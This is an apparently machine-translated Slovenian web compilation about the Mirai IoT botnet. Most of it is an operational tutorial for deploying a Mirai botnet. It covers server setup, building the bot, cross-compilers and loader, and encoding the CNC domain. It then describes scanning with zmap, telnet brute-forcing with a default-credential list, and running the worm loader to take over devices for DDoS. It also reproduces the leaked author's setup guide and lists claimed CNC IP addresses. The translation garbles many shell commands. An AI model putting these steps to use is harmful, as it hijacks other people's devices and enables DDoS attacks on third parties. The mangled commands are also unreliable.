Izvorna koda Mirai. Namestitev in konfiguracija botneta Mirai. Načelo delovanja Mirai

Mirai v svojem bistvu deluje preprosto: skenira internet in išče naprave interneta stvari, dostopne prek telneta, ki so ranljive za grobo silo in vdiranje. Zlonamerna programska oprema napada predvsem nadzorne kamere, DVR-je in usmerjevalnike, nato pa se še naprej razmnožuje kot črv.

Od napadov DDoS, ki jih je nedavno izvedel ta botnet in je največji v Evropi. Najvišja moč napada je dosegla 620 Gbit/s in več kot 1 Tb/s. Za doseganje takšnih rezultatov so napadalci uporabili UDP, DNS in HTTP poplave ter pakete GRE (Generic Routing Encapsulation), ki so jih strokovnjaki prepoznali kot zelo nenavadne.

Sklepi strokovnjakov MalwareTech na splošno sovpadajo s temi ugotovitvami. Tako so raziskovalci v dvanajstih urah zabeležili približno 72.000 edinstvenih naslovov IP, vsako uro pa se je pojavilo 4000 novih naslovov IP. Iz tega so analitiki sklepali, da je velikost botneta zelo skromna – le približno 120.000 naprav na dan. In čeprav je botnet veliko večji in številke znašajo 1-1,5 milijona botov, se s tem ne strinjajo niti raziskovalci MalwareTech niti strokovnjaki Akamai.

"Mirai, ki je bil prej večinoma prezrt zaradi preprostosti napadov s pomočjo telneta, je prejšnji teden postal glavna tema razprav v medijih po vsem svetu, pri čemer so organi pregona začeli preiskave s podporo številnih mednarodnih podjetij," pišejo raziskovalci. . »Zelo verjetno je, da bodo močni napadi DDoS zdaj postali pogostejša praksa, saj hekerji najdejo vedno več ranljivih naprav IoT ali začnejo okuževati naprave, zaščitene z NAT. Vsekakor je čas, da proizvajalci prenehajo izdajati naprave z globalnimi privzetimi gesli in preidejo na izdajo naprav z naključno ustvarjenimi gesli na dnu ohišja."

Poleg poročila so raziskovalci MalwareTech vključili videoposnetek, ki prikazuje zemljevid okužb z Mirai (glejte spodaj). Na spletni strani raziskovalcev lahko najdete tudi interaktivni zemljevid botneta, ki se posodablja v realnem času.

Potrebovali bomo dva strežnika VPS KVM in domeno. Virtualizacija je KVM, OpenVZ tokrat manjka.

Tukaj vzamem strežnike -

Sam botnet bomo namestili na en strežnik, na drugem pa bote skenirali. (brutalno)

POMEMBNO. Strežniki morajo temeljiti na Debianu 8 in imeti vsaj 1 GB RAM-a.

Katera koli domena, ni pomembno.

Oprostite, seveda, vendar vam ne bom povedal, kako priključiti domeno na VPS. Ni težko, sami boste ugotovili.

PuTTY in začnimo.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang zaslon za električno ograjo sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get namestitev apache2 -y

Ko nameščate MySQL, boste morali ustvariti geslo za dostop do MySQL za root uporabnika. Prišli boste do običajnega gesla, brez "qwerty"

Zapiši nekam, bova še kdaj potrebovala.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#bash< <(curl -s -S -L

Za ogled povezav morate biti registrirani.

)

# gvm namestite go1.4

# gvm uporabi go1.4 [--privzeto]

# gvm namestite go1.4 -B

# gvm uporabi go1.4

# izvoz GOROOT_BOOTSTRAP=$GOROOT

# gvm namestite go1.5

# gvm uporabi go1.5

# gvm namestite go1.8

# gvm uporabi go1.8

Ko namestite vse pripomočke, prenesite vire botov -

Za ogled povezav morate biti registrirani.

In ga naložite na strežnik. Ekipa wget, ali preprosto prek programa WinSCP.

# razpakirajte Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc niz *******(napišemo svojo domeno, ki je pripeta na strežnik) in pritisnemo Enter.

Tukaj boste videli naslednje besedilo -

XOR" 14 bajtov podatkov ...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - tukaj boste imeli drugo številko, zato ne skrbite, vse je pravilno.

Vse to besedilo kopiramo.

Odprite prek urejevalnika nano ali prek WinSCP mapa tabela.c ki je v mapi mirai/bot

To moram videti -

Za ogled povezav morate biti registrirani.

Linija add_entry(TABLE_CNC_DOMAIN- spremenite vse v narekovajih v svoje besedilo, ki ste ga pravkar kopirali. Namesto " 30 " Napišemo svojo številko, ki smo jo tudi samo prepisali. Enako naredimo s črto add_entry(TABLE_SCAN_CB_DOMAIN

Shranite in zaprite urejevalnik.

Odprite datoteko z urejevalnikom mirai/cnc/main.go

Vidimo to -

Za ogled povezav morate biti registrirani.

"127.0.0.1" spremenite v "127.0.0.1:3306"

"geslo" Spremenimo geslo, ki smo ga prej vnesli v naš MySQL. "

Shranite datoteko in zaprite urejevalnik.

Samo kopirajte vso to sranje, ne bom vam povedal, zakaj je to potrebno -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

#wget

Za ogled povezav morate biti registrirani.

# tar -jxf navzkrižni prevajalnik-armv4l.tar.bz2

# tar -jxf navzkrižni prevajalnik-i586.tar.bz2

# tar -jxf navzkrižni prevajalnik-m68k.tar.bz2

# tar -jxf navzkrižni prevajalnik-mips.tar.bz2

# tar -jxf navzkrižni prevajalnik-mipsel.tar.bz2

# tar -jxf navzkrižni prevajalnik-powerpc.tar.bz2

# tar -jxf navzkrižni prevajalnik-sh4.tar.bz2

# tar -jxf navzkrižni prevajalnik-sparc.tar.bz2

# tar -jxf navzkrižni prevajalnik-armv6l.tar.bz2

# rm *.tar.bz2

# mv navzkrižni prevajalnik-armv4l armv4l

# mv navzkrižni prevajalnik-i586 i586

#mv navzkrižni prevajalnik-m68k m68k

# mv navzkrižni prevajalnik-mips mips

# mv navzkrižni prevajalnik-mipsel mipsel

# mv navzkrižni prevajalnik-powerpc powerpc

# mv navzkrižni prevajalnik-sh4 sh4

# mv navzkrižni prevajalnik-sparc sparc

# mv navzkrižni prevajalnik-armv6l armv6l

# izvoz PATH=$PATH:/etc/xcompile/armv4l/bin

# izvoz PATH=$PATH:/etc/xcompile/i586/bin

# izvoz PATH=$PATH:/etc/xcompile/m68k/bin

# izvoz PATH=$PATH:/etc/xcompile/mips/bin

# izvoz PATH=$PATH:/etc/xcompile/mipsel/bin

# izvoz PATH=$PATH:/etc/xcompile/powerpc/bin

# izvoz PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# izvoz PATH=$PATH:/etc/xcompile/sh4/bin

# izvoz PATH=$PATH:/etc/xcompile/sparc/bin

# izvoz PATH=$PATH:/etc/xcompile/armv6l/bin

# izvoz PATH=$PATH:/usr/local/go/bin

# izvoz GOPATH=$HOME/Documents/go

# pojdite na github.com/go-sql-driver/mysql

# pojdite na github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh debug telnet

# ./build.sh izdaja telnet

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bins/

Zdaj MySQL.

# mysql -u root -p

Tukaj boste pozvani k vnosu gesla. Vnesite geslo, ki ste ga predhodno nastavili.

# ustvari bazo podatkov mirai;

# uporabljaj mirai

Zdaj kopirajte vse besedilo od tukaj -

Za ogled povezav morate biti registrirani.

Prilepite ga in pritisnite Enter.

Prepiši besedilo od tukaj -

Za ogled povezav morate biti registrirani.

Namesto anna-senpai napišite svojo prijavo. Kaj. Enako z myawesomepassword. Te podatke bomo potrebovali za dostop do nadzorne plošče bota.

Tako bi moralo biti - VSTAVITE V VREDNOSTI uporabnikov (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Kopiraj, prilepi, pritisnite Enter.

Zdaj lahko greš ven.

Skoraj je končano.

# cd Mirai-Source-Code-master/mirai/release

# dotaknite se prompt.txt

# zaslon ./cnc

Treba je videti napis MySQL DB odprt

Te seje ne zaključimo, odpremo novo.

Za ogled povezav morate biti registrirani.

Namesto ******* napišite svojo domeno in kliknite Odpri.

Vnesite svoje uporabniško ime in geslo, v mojem primeru je to -

zaebalsjapisatj

To je to, smo na nadzorni plošči bota.

Zdaj potrebujemo bote. Tukaj je vse preprosto, namestitev ni potrebna.

Konfigurirajmo nalagalnik.

Nalagalnik je potreben za dodajanje botov iz besedilnih datotek. Recimo, da smo ustvarili kup naprav (usmerjevalnikov, kamer, telefonov) in da jih dodamo botu, potrebujemo nalagalnik.

Tudi nakladalnik je "črv"

Povežite se z našim strežnikom prek PuTTY in WinSCP.

Z WinSCP najdemo datoteko glavni.c v mapi Mirai-Source-Code-master/dlr

Zapišemo IP našega strežnika kot na posnetku zaslona -

Za ogled povezav morate biti registrirani.

Pustimo vejice, tako mora biti. Shrani in zapri.

Zdaj z PyTTY pojdite na naš strežnik in napišite -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# izdaja cd-ja

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Zdaj pa odprimo WinSCP in poiščite datoteko glavni.c v mapi Mirai-Source-Code-master/loader/src

Spremenimo ga v naš IP kot na posnetku zaslona -

Za ogled povezav morate biti registrirani.

Shrani in zapri.

Skozi PuTTY -

# ./build.sh

Z uporabo WinSCP odpreti datoteko scanListen.go ki se nahaja v mapi Mirai-Source-Code-master/mirai/tools

Spremenite IP vašega strežnika -

Za ogled povezav morate biti registrirani.

Potem z PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# pojdite zgraditi scanListen.go

Zdaj imamo novo datoteko - skenirajPoslušaj(brez .pojdi, Samo skenirajPoslušaj)

skenirajPoslušaj je treba premakniti v mapo Mirai-Source-Code-master/loader

Samo s pomočjo WinSCP dajte v mapo nakladalec

Zdaj pa preverimo, ali vse deluje

# ./nakladalnik

Če vidite, kaj je na zaslonu, potem je vse pravilno -

Za ogled povezav morate biti registrirani.

Če pride do napak, pišite na temo, pomagal bom.

Če želite prenesti bote s seznama, spustite besedilno datoteko v mapo nakladalec in vnesite ukaz -

# mačji seznam.txt | ./nakladalnik

To je to, vsi boti, ki ste jih zaposlili, bodo z vami, na vaš ukaz bodo zrušili spletna mesta.

Osebno nisem uporabljal te metode, našel sem lažji način.

Tukaj potrebujemo drugi strežnik. Tudi na Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap potrebujemo ga za skeniranje vrat. Načelo delovanja je enako kot KPortScan, le 50-krat hitreje.

Kopirajte vso kodo od tukaj -

Za ogled povezav morate biti registrirani.

In shrani kot scan.py

Tukaj lahko dodate svoja gesla in prijave -

Za ogled povezav morate biti registrirani.

Vrvica kombinacija ne dotikaj se!

Tukaj morate registrirati IP strežnika, na katerem se nahaja bot -

Za ogled povezav morate biti registrirani.

Vse spremenimo in shranimo.

Datoteko scan.py spustimo kamor koli na naš strežnik. Na drugem strežniku, ki je zgolj za skeniranje, tisti na katerem se ne dotikamo bota.

Potrebujemo IP-je, ki jih bomo pregledali.

#zmap -p22 -o list.txt -B 100M(lahko skenirate druga vrata, jaz sem vedno skeniral 22 ali 23)

Vsi rezultati bodo v datoteki list.txt

Po zbiranju datoteke IP (več kot je, bolje je). list.txt vrzi zraven datoteke scan.py in napiši -

# python scan.py list.txt 500

To je to, sedimo in opazujemo, kako raste naš botnet.

Ko je vsaj 200 botov, lahko zaženete nalagalnik.

Če želite to narediti, pojdite na strežnik, kjer je nameščen botnet in -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./nakladalnik

Zdaj bo bot deloval kot "črv" in uničil več botov.

Prejšnji teden je na splet pricurljala izvorna koda za komponente botneta Mirai, ki se uporablja pri rekordnih DDoS napadih s kapaciteto do 1 Tb/s.

Umetnost. 273 Kazenskega zakonika Ruske federacije. Ustvarjanje, uporaba in distribucija zlonamernih računalniških programov

1. Ustvarjanje, distribucija ali uporaba računalniških programov ali drugih računalniških informacij, ki so zavestno namenjeni nepooblaščenemu uničenju, blokiranju, spreminjanju, kopiranju računalniških informacij ali nevtralizaciji sredstev za zaščito računalniških informacij, -

se kaznuje z omejitvijo prostosti do štirih let ali prisilnim delom do štirih let ali zaporom za isto dobo z denarno kaznijo do dvesto tisoč rubljev ali znesek plače ali drugih prejemkov obsojenca za obdobje do osemnajst mesecev.

2. Dejanja iz prvega dela tega člena, ki jih je storila skupina oseb po predhodnem zgovoru ali organizirana skupina ali oseba, ki je uporabila svoj uradni položaj, pa tudi tista, ki so povzročila večjo škodo ali so bila storjena iz koristoljubja. , -

se kaznuje z omejitvijo prostosti do štirih let ali prisilnim delom do petih let z odvzemom pravice opravljati določene funkcije ali opravljati določene dejavnosti do treh let ali brez nje ali zaporno kaznijo do petih let z denarno kaznijo od sto tisoč do dvesto tisoč rubljev ali v višini plače ali drugega dohodka obsojenca za obdobje dveh do treh let ali brez nje in z odvzemom pravice do opravljanja določenih položajev ali opravljanja določenih dejavnosti ali brez njega za obdobje do treh let.

3. Dejanja iz prvega ali drugega dela tega člena, če so povzročila hude posledice ali ustvarila nevarnost njihovega nastanka, -

se kaznuje z zaporom do sedmih let.

Ta botnet je sestavljen predvsem iz kamer, naprav DVR itd.

Do okužbe pride zelo preprosto: internet se pregleda za odprta vrata 80/23 (web/telnet) in izberejo se trdo kodirani računi.

Malo uporabnikov spremeni gesla svojih vgrajenih računov (če je mogoče), zato se botnet nenehno dopolnjuje z novimi napravami. Če lahko spremenite geslo za spletni vmesnik, medtem ko ste v njem, potem geslo in sama prisotnost dostopa do telneta marsikateremu uporabniku preprosto uide.

Najpogosteje uporabljeni računi so:

omogoči: sistem
lupina:sh
admin:admin
koren: xc3511
koren:vizxv
root:admin
koren:xmhdipc
koren:123456
koren:888888
podpora: podpora
koren: 54321
koren: juantech
koren: anko
koren:12345
admin:
root:privzeto
admin: geslo
root:root
koren:
uporabnik:uporabnik
admin:smcadmin
root:pass
skrbnik:admin1234
koren:1111
gost:12345
koren:1234
root:geslo
koren:666666
admin:1111
storitev: storitev
koren: sistem
nadzornik: nadzornik
koren: klv1234
skrbnik:1234
koren: ikwb
koren: Zte521

Po pridobitvi dostopa ukazni center prejme binarno obvestilo o prisotnosti novega bota:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (naslov gostitelja je bil tukaj)
05 = Tab
17 = 23 (vrata 23 Telnet)
05 = Tab
61 64 6d 69 6e = uporabniško ime:admin admin
05= Tab
61 64 6d 69 6e = uporabniško geslo: admin

Komponente botneta so zasnovane za delovanje v različnih okoljih, kar dokazujejo identificirani vzorci:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Ukazni strežniki se trenutno nahajajo na naslednjih naslovih:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Navodila za ustvarjanje botneta so precej preprosta, tukaj je, kot je (vir http://pastebin.com/E90i6yBB):

Pozdravljeni vsi skupaj,

Ko sem prvič šel v industrijo DDoS, nisem nameraval dolgo ostati v njej. Zaslužil sem svoj denar, zdaj je veliko oči uprtih v IOT, zato je čas za GTFO. Vendar poznam vsakega skida in njihovo mamo, to so njihove mokre sanje, da imajo še kaj poleg qbota.

Zato imam danes za vas čudovito izdajo. Z Miraijem običajno potegnem največ 380k botov samo iz telneta. Vendar so se po Kreb DDoS ponudniki internetnih storitev počasi zapirali in čistili svoje dejanje. Danes je največja poteg približno 300.000 botov in pada.

Torej, jaz sem tvoj senpai in zelo lepo bom ravnal s tabo, moj hf-chan.

In vsem, ki so mislili, da delajo karkoli, ko udarijo v moj CNC, sem se dobro nasmejal, ta bot uporablja domeno za CNC. Traja 60 sekund, da se vsi boti znova povežejo, lol

Pozdravite tudi to objavo v spletnem dnevniku malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Imel sem veliko spoštovanje do vas, mislil sem, da ste dober spreobračitelj, vendar vam je v resnici popolnoma in popolnoma spodletelo, da bi obrnili to dvojiško datoteko. »Še vedno imamo boljši kung fu kot vi, otroci«, prosim, ne spravljajte me v smeh, naredili ste toliko napak in celo zamešali nekaj različnih binarnih datotek z mojimi. LOL

Naj ti vrnem nekaj klofut -
1) vrata 48101 niso za vzvratno povezavo, ampak za nadzor, da se prepreči več primerkov delovanja bota skupaj
2) /dev/watchdog in /dev/misc nista namenjena »zakasnitvi«, temveč preprečita, da bi sistem visel. Tale je nizko viseče sadje, tako žalostno, da si skrajno neumen
3) Ni vam uspelo in ste mislili, da sta FAKE_CNC_ADDR in FAKE_CNC_PORT pravi CNC, lol "In delam backdoor za povezavo prek HTTP na 65.222.202.53." spotaknil si se zaradi pretoka signala ;) poskusi močneje drseti
4) Vaše okostno orodje je zanič, mislilo je, da je napadalni dekoder "sinden style", vendar sploh ne uporablja besedilnega protokola? CNC in bot komunicirata prek binarnega protokola
5) rečete "chroot("/") tako predvidljiv kot torlus", vendar ne razumete, nekateri drugi ubijajo na podlagi cwd. Prikazuje, kako nenavadni ste na pravo zlonamerno programsko opremo. Pojdi nazaj na smučišče

Zakaj pišete orodja za obratno inženirstvo? Sploh ne morete pravilno obrniti. Najprej se naučite nekaj veščin, preden poskušate narediti vtis na druge. Tvoja arogantnost pri izjavi, kako si me »premagal« s svojo neumno kung-fu izjavo, me je tako nasmejala, ko sem jedel svoj SO, da sem me moral potrepljati po hrbtu.

Tako kot bom jaz za vedno svoboden, boš ti za vedno obsojen na povprečnost.

Zahteve
2 strežnika: 1 za CNC + mysql, 1 za sprejemnik skeniranja in 1+ za nalaganje

Zahteve OP
2 VPS in 4 strežniki
— 1 VPS z izjemno neprebojnim gostiteljem za strežnik baze podatkov
— 1 VPS, rootkitted, za scanReceiver in distributerja
— 1 strežnik za CNC (uporabljen kot 2 % CPU s 400.000 roboti)
— 3x 10gbps NForce strežniki za nalaganje (distributer enakomerno razdeli na 3 strežnike)

— Za vzpostavitev povezave s CNC roboti razrešijo domeno (resolv.c/resolv.h) in se povežejo s tem naslovom IP
— Boti surovo izvajajo telnet z uporabo naprednega SYN skenerja, ki je približno 80x hitrejši od tistega v qbotu in uporablja skoraj 20x manj virov. Ko najde grob rezultat, bot razreši drugo domeno in jo prijavi. To je povezano z ločenim strežnikom, da se samodejno naloži v naprave, ko pridejo rezultati.
— Bruted rezultati so privzeto poslani na vrata 48101. Pripomoček, imenovan scanListen.go v orodjih, se uporablja za prejemanje bruted rezultatov (na vrhuncu sem dobival okoli 500 bruted rezultatov na sekundo). Če gradite v načinu za odpravljanje napak, bi morali videti, da se binarno orodje scanListen pojavi v mapi za odpravljanje napak.

Mirai uporablja mehanizem širjenja, podoben samorep, vendar temu, kar jaz imenujem "obremenitev v realnem času". V bistvu roboti brutajo rezultate, jih pošljejo strežniku, ki posluša s pripomočkom scanListen, ki rezultate pošlje nalagalniku. Ta zanka (brute -> scanListen -> load -> brute) je znana kot nalaganje v realnem času.

Nalagalnik je mogoče konfigurirati tako, da uporablja več naslovov IP, da zaobide izčrpanost vrat v linuxu (na voljo je omejeno število vrat, kar pomeni, da ni dovolj variacij v tupleju, da bi dobili več kot 65k sočasnih odhodnih povezav – v teoriji je ta vrednost veliko manj). Imel bi morda 60k - 70k sočasnih odhodnih povezav (hkratno nalaganje), razporejenih po 5 IP-jih.
Bot ima več možnosti konfiguracije, ki so zakrite v (table.c/table.h). V ./mirai/bot/table.h ti lahko najdete večino opisov za konfiguracijske možnosti. Vendar pa je v ./mirai/bot/table.c nekaj možnosti, ki jih *morate* spremeniti, da začnete delovati.

— TABLE_CNC_DOMAIN — Ime domene CNC za povezavo — Izogibanje DDoS zelo zabavno z mirai, ljudje poskušajo zadeti moj CNC, vendar ga posodobim hitreje, kot lahko najdejo nove IP-je, lol. Retardi :)
— TABLE_CNC_PORT — Vrata za povezavo, so že nastavljena na 23
— TABLE_SCAN_CB_DOMAIN — Pri iskanju grobih rezultatov se ta domena prijavi
— TABLE_SCAN_CB_PORT — Vrata za povezavo za grobe rezultate, nastavljena so že na 48101.

V ./mirai/tools boste našli nekaj, kar se imenuje enc.c — to morate prevesti, da izpišete stvari, ki jih želite dati v datoteko table.c

Zaženi znotraj tega imenika mirai

./build.sh debug telnet

Dobili boste nekaj napak, povezanih z odsotnostjo navzkrižnih prevajalnikov, če jih niste konfigurirali. To je v redu, ne bo vplivalo na prevajanje orodja enc

Zdaj bi morali v mapi ./mirai/debug videti prevedeno dvojiško datoteko z imenom enc. Na primer, če želite pridobiti zamegljen niz za ime domene, s katerim se boti povežejo, uporabite to:

./debug/enc niz fuck.the.police.com
Izhod bi moral izgledati takole

XOR'ing 20 bajtov podatkov ...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Če želite na primer posodobiti vrednost TABLE_CNC_DOMAIN, zamenjajte ta dolg šestnajstiški niz s tistim, ki ga ponuja orodje enc. Vidite tudi »XOR'ing 20 bytes of data«. Ta vrednost mora nadomestiti tudi zadnji argument. Tako je na primer vrstica table.c izvirno videti takole
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Zdaj, ko poznamo vrednost orodja enc, ga posodobimo takole

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //fuck.the.police.com
Nekatere vrednosti so nizi, nekatere so vrata (uint16 v omrežnem vrstnem redu / big endian).
KONFIGURIRAJTE CNC:
apt-get namestite mysql-strežnik mysql-odjemalec

CNC za delovanje potrebuje podatkovno bazo. Ko namestite bazo podatkov, pojdite vanjo in zaženite naslednje ukaze:
http://pastebin.com/86d0iL9g

To bo ustvarilo bazo podatkov za vas. Če želite dodati svojega uporabnika,

VSTAVITE V VREDNOSTI uporabnikov (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Zdaj pojdite v datoteko ./mirai/cnc/main.go

Uredite te vrednosti
const DatabaseAddr niz = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "geslo"
const DatabaseTable niz = "mirai"
Do informacij za strežnik mysql ste pravkar namestili

Navzkrižni prevajalniki so enostavni, za nastavitev sledite navodilom na tej povezavi. Za uveljavitev teh sprememb morate znova zagnati sistem ali znova naložiti datoteko .bashrc.

http://pastebin.com/1rRCc3aD
CNC, bot in sorodna orodja:
http://dopefile.pk/a9f2n9ewk8om
Kako zgraditi bot + CNC
V mapi mirai je skript build.sh.
./build.sh debug telnet

Izpisal bo binarne datoteke za odpravljanje napak bota, ki ne bo demoniziral in natisnil informacij o tem, ali se lahko poveže s CNC-jem itd., stanje poplav itd. Prevede v mapo ./mirai/debug
./build.sh sprosti telnet

Izdelal bo binarne datoteke bota, ki so pripravljene za proizvodnjo in so izjemno ogoljene, majhne (približno 60K), ki jih je treba naložiti v naprave. Prevede vse binarne datoteke v formatu: “mirai.$ARCH” v mapo ./mirai/release

Nalagalnik bere vnose telnet iz STDIN v naslednji obliki:
ip:vrata uporabnik:pass
Zazna, ali obstaja wget ali tftp, in s tem poskuša prenesti dvojiško datoteko. Če ne, bo odmevno naložil majhno dvojiško datoteko (približno 1 kb), ki bo zadostovala kot wget.
./build.sh

Izdelal bo nakladalnik, optimiziran, proizvodna uporaba, brez težav. Če imate datoteko v formatih, ki se uporabljajo za nalaganje, lahko to storite
mačja datoteka.txt | ./nakladalnik
Ne pozabite omejiti!

Samo zato, da bo jasno, ne ponujam nobenih vaj za pomoč 1 na 1 ali drugega sranja, preveč časa. Vključeni so vsi skripti in vse za nastavitev delujočega botneta v manj kot eni uri. Pripravljen sem pomagati, če imate posamezna vprašanja (kako to, da se CNC ne povezuje z bazo podatkov, to sem naredil tole bla bla), vendar ne vprašanj, kot je "Moj bot se ne poveže, popravi to"

To je trojanec, o katerem vsi pišejo zadnjih nekaj tednov. Med najbolj impresivnimi dosežki botnetov, ustvarjenih z njegovo pomočjo, je zmogljivost več kot terabit in v majhni afriški državi.

Koliko računalnikov je zasužnjil za to?

Sploh ne. Ali pa vsaj zelo malo. Miraijeve ciljne naprave sploh niso računalniki, temveč IoT naprave – videorekorderji, kamere, opekači kruha ... Po statistiki Level 3 Communications je bilo do konca oktobra pod nadzorom trojanca že približno pol milijona naprav.

In kaj, lahko zgrabi vse kamere s hladilniki?

res ne. Mirai je prilagojen napravam, ki uporabljajo Busybox – poenostavljen nabor pripomočkov UNIX ukazna vrstica, ki se uporablja kot glavni vmesnik v embedded operacijski sistemi. Trojanec napada le določene platforme, kot so ARM, ARM7, MIPS, PPC, SH4, SPARC in x86. Ogrožene so samo naprave s tovarniškimi nastavitvami ali zelo šibko zaščito - do okužbe pride z uporabo brutalnega napada na vrata Telnet, za kar se uporablja privzeti seznam skrbniških poverilnic.

Nekako je neučinkovito iskati kamere brez gesel po celem internetu - kajne?

Vendar niso uganili prav. Novinar The Atlantic je najel strežnik in napisal program, ki se pretvarja, da je toaster. Prvi napad na "gospodinjski aparat" se je zgodil po 40 minutah! V naslednjih 11 urah so v toaster vdrli več kot 300-krat. Dejstvo je, da so botneti dosegli neverjetne velikosti, naslovni prostor IPv4 zanje pa je zelo majhen. Poleg tega velja spomniti, da hekerji ne iščejo ranljivih naprav ročno - to počnejo člani botneta. In ker vsak na novo spreobrnjeni »zaposleni« začne tudi iskati žrtve, botnet eksponentno raste.

Geometrijsko? Čez eno leto bodo torej botneti vsebovali bilijone naprav?!

Seveda ne 😀 Dejstvo je, da je IoT naprav končno. In to je že kar pereč problem. Avtor Miraija priznava, da je bilo največje število naprav v njegovem omrežju 380 tisoč, po več napadih, ko so uporabniki in ponudniki začeli izvajati zaščitne ukrepe, pa je število naprav padlo na 300 tisoč in še naprej upada.

Potem ko je bila izvorna koda Mirai javno dostopna, jo je začelo uporabljati veliko hekerjev. Trenutno je število velikih botnetov, ki temeljijo na tem trojancu, približno 52. Treba je pojasniti, da lahko vsaka naprava pripada samo enemu omrežju - takoj po zajetju naprave jo zlonamerna programska oprema zaščiti pred ponovno okužbo. Edini primer, ko je mogoče napravo prenesti na drugega "lastnika", je ponovni zagon naprave. Po mnenju strokovnjakov bo naprava po ponovnem zagonu ponovno okužena v 30 sekundah.

Torej se učinkovitost zdravila Mirai zmanjšuje?

ja Hekerji so se prisiljeni boriti za omejeno količino virov, ki se manjšajo (zaradi previdnosti) namesto da rastejo. Situacijo dodatno zapleta dejstvo, da so hekerji izjemno sebični - na primer, potem ko je bil glavni strežnik za upravljanje in nadzor (C&C) botneta preprosto izklopljen - se je zdaj izkazalo, da je botnet neuporaben in neranljiv za nove napade. Vsak novo omrežje ki temelji na Miraiju, bo manjši od prejšnjih in bo lahko izvajal samo napade z nizko močjo. Na primer, med ameriškimi volitvami so bili izvedeni šibki napadi na spletni strani Clintona in Trumpa. Povzročili niso nobene škode in jih sploh nihče ni opazil (razen podjetja, ki posebej spremlja delovanje tega trojanca).

To je jasno. Katere druge zanimive informacije so znane o tem trojancu?

Je naslednik drugega trojanca, ki je znan pod imeni Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor in Torlus. Slednji je znan po tem, da si lahko podredi približno milijon spletnih kamer, poroča isti Level 3 Communications. Znano je tudi, da večina botnetov ne uporablja čiste kopije Miraia, temveč lastne, spremenjene različice (kar je povsem pričakovano).

Še ena zanimivo dejstvo je, da so uporabniki RuNeta našli v izvorna koda Ruska sled Mirai - v datoteki cnc/admin.go je izpis komentarjev v ruščini:

cnc/admin.go: this.conn.Write(byte(“\033))

Po drugi strani pa izgleda bolj kot šala – “preverjanje računov...” je očitna kopija (strojni prevod?) “preverjanje računov”.

Prejšnji mesec je prišlo do napadov na velika spletna mesta, kot je Twitter ali Spotify, ki jih je začasno onemogočil. Za to je bil uporabljen botnet Mirai, ki združuje 400-500 tisoč naprav interneta stvari. Zdaj so novinarji matične plošče izvedeli, da je dvema hekerjema uspelo prevzeti nadzor nad botnetom in ustvariti njegovo novo različico - združuje že milijon naprav. Naročniki nemškega ponudnika so izkusili njegovo moč Deutsche Telekom, katerega omrežje je pretekli konec tedna padlo.

Lov na Mirai

Novinarjem je uspelo govoriti z enim od teh dveh skrivnostnih hekerjev - uporablja vzdevek BestBuy. V šifriranem spletnem klepetu jim je povedal, da med hekerji poteka pravi boj za nadzor nad Miraijem. V njegovi programski opremi so nedavno odkrili ranljivost. Njegova uporaba, skupaj z njegovo hitrostjo, bi lahko družbi BestBuy in njenemu partnerju Popopret omogočila, da prevzameta nadzor nad večino botneta in mu dodata nove naprave.

Pred tem so naši strokovnjaki preučevali kodo botneta Mirai - izkazalo se je, da ni bil ustvarjen posebej za naprave interneta stvari. Zlonamerna programska oprema išče naprave, povezane v omrežje s privzetimi prijavami in gesli (admin:admin, root:geslo itd.). To pomeni, da teoretično lahko vključuje vse naprave, vključno z domačimi računalniki in strežniki ali usmerjevalniki.

